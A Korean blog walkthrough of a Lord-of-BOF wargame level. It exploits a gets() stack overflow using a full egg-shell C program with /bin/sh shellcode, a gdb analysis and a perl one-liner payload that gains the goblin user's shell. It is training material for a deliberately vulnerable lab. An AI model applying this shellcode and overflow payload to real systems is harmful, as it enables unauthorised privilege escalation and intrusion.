Phantom

[Goblin] cobolt -> goblin 풀이 본문

Pwnable/[Wargame]Load of Bof

[Goblin] cobolt -> goblin 풀이

Ph4nt0m_ 2014. 7. 15. 18:29
반응형


 문제 소스 보기

goblin.c

1
2
3
4
5
6
7
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);

}

이번 문제는 전단계의 문제와 비슷하나 argv[1]로받는것이아닌 gets로 받는다

버퍼는 전단계와 같이 16이다.

gdb로 goblin을 분석해보자

[cobolt@localhost cobolt]$ gdb -q g0blin 

(gdb) set disassembly-flavor intel 

(gdb) disas main

Dump of assembler code for function main:

0x80483f8 <main>: push   %ebp

0x80483f9 <main+1>: mov    %ebp,%esp

0x80483fb <main+3>: sub    %esp,16   //함수 프롤로그 과정                                                                          16의 크기를 확보하며, gcc버전이                                                            낮으므로 더미가 없다

0x80483fe <main+6>: lea    %eax,[%ebp-16]//표준입력(gets)로입력한문                                                                    자열 주소 복사

0x8048401 <main+9>: push   %eax              //주소를 eax에 복사

0x8048402 <main+10>: call   0x804830c <gets>//gets 실행

-------------------중  략 -------------------------

0x8048418 <main+32>: add    %esp,8             //메모리 정리

0x804841b <main+35>: leave                      // 함수 에필로그

0x804841c <main+36>: ret

쉘 획득 과정 페이로드


 이번단계는 전단계와 같이 에그 쉘을 사용할 것이나 argv[1]에 넣는것이 아니고 ;cat와 파이프(|)를 사용하여 쉘코드를 집어넣을 것이다.

환경변수에 쉘코드를 집어넣고 에그쉘을 실행하여 나온 주소를 RET에 넣어 쉘을 실행시킬것이다.

에그 쉘 코드

phantomEGG.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#define DEFAULT_OFFSET          0
#define DEFAULT_ADDR_SIZE       8
#define DEFAULT_BUFFER_SIZE     16
#define DEFAULT_PHANTOM_SIZE    2048
#define NOP                     0x90
 
char shellcode[]=
        "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73"
         "\x68\x68\x2f\x62\x69"
    "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
 
unsigned long get_sp(){
        __asm__("movl %esp, %eax");
}
 
int main(int argc, char *argv[]){
        char *ptr, *phantomSH;
        char shAddr[DEFAULT_ADDR_SIZE+1];
        char cmdBuf[DEFAULT_BUFFER_SIZE];
        long *addr_ptr, addr;
        int offset=DEFAULT_OFFSET;
        int i, phantomshLen=DEFAULT_PHANTOM_SIZE;
 
        if(!(phantomSH=malloc(phantomshLen))){
                printf("Can't allocate memory for phantomshLen");
                exit(0);
        }
 
        addr = get_sp()-offset;
        printf("Using address : 0x%x\n",addr);
 
        ptr = phantomSH;
        for(i=0;i<phantomshLen-strlen(shellcode)-1;i++)
                *(ptr++)=NOP;
 
        for(i=0;i<strlen(shellcode);i++)
                *(ptr++)=shellcode[i];
 
        phantomSH[phantomshLen-1]='\0';
 
        memcpy(phantomSH, "PHANTOM=", DEFAULT_ADDR_SIZE);
        putenv(phantomSH);
 
        system("/bin/bash");
}


쉘코드 주소 구하기

phantomEGG.c를 컴파일 하여 실행하면 환경변수가 올라간 쉘코드 주소를 출력한다.

[cobolt@localhost cobolt]$ ./phantomEGG

Using address : 0xbffffac4

명령문 작성하기

[cobolt@localhost cobolt]$ (perl -e 'print "a"x20, "\xc4\xfa\xff\xbf"';cat)|./goblin

aaaaaaaaaaaaaaaaaaaa퀭

id

uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt) 

이로써 goblin의 권한을 얻었다.

반응형

'Pwnable > [Wargame]Load of Bof' 카테고리의 다른 글

[wolfman] wolfman -> darkelf 풀이  (0) 2014.07.27
[Orc] orc -> wolfman 풀이  (0) 2014.07.23
[Goblin] goblin -> orc 풀이  (0) 2014.07.17
[Gremlin] gremlin -> cobolt 풀이  (0) 2014.05.28
[Gate] gate -> gremlin 풀이  (0) 2014.05.27
Comments